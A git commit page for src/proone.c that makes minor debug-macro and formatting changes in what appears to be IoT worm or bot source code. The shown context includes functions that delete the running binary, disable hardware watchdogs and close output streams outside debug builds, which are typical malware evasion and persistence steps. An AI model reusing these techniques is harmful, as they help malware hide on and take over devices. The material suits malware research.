diff options
author | David Timber <mieabby@gmail.com> | 2020-09-14 15:47:30 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-14 15:47:30 +0930 |
commit | f7f7332afafd4f965c5ef1d45cc1c7da9275c6ef (patch) | |
tree | 53b8e96d2d070215f0c6ee133cdba58ca93a4138 /src/proone.c | |
parent | c4160ed41717260b5941e2729c444b8ec051d5f0 (diff) |
* Add "--enable-static" configure option
* Change "PRNE_DEBUG" macro use
* Add "PRNE_VERBOSE"
* Impl "recon"
* Add "inet.h" for Internet Protocol stuff
* Changes regarding "PRNE_RND_WELL512_SEEDLEN"
* Add prne_own_realloc() for objects with multiple array memebers
* Add prne_add_timespec()
Diffstat (limited to 'src/proone.c')
-rw-r--r-- | src/proone.c | 9 |
1 files changed, 5 insertions, 4 deletions
diff --git a/src/proone.c b/src/proone.c index 623d3b6..75c73f5 100644 --- a/src/proone.c +++ b/src/proone.c @@ -74,7 +74,8 @@ static void alloc_resolv (void) { prne_g.resolv = prne_alloc_resolv( wkr_arr + wkr_cnt, &prne_g.ssl.rnd, - pool4, pool6); + pool4, + pool6); if (prne_g.resolv != NULL) { wkr_cnt += 1; pool4.ownership = false; @@ -333,13 +334,13 @@ static void open_blackhole (void) { } static void delete_myself (const char *arg0) { -#if !defined(PRNE_DEBUG) +#if !PRNE_DEBUG unlink(arg0); #endif } static void disasble_watchdog (void) { -#ifndef PRNE_DEBUG +#if !PRNE_DEBUG static const char *watchdog_paths[] = { "/dev/watchdog", "/dev/misc/watchdog" @@ -1009,7 +1010,7 @@ int main (const int argc, const char **args) { // done with the terminal close(STDIN_FILENO); -#ifndef PRNE_DEBUG +#if !PRNE_DEBUG // Some stupid library can use these close(STDOUT_FILENO); close(STDERR_FILENO); |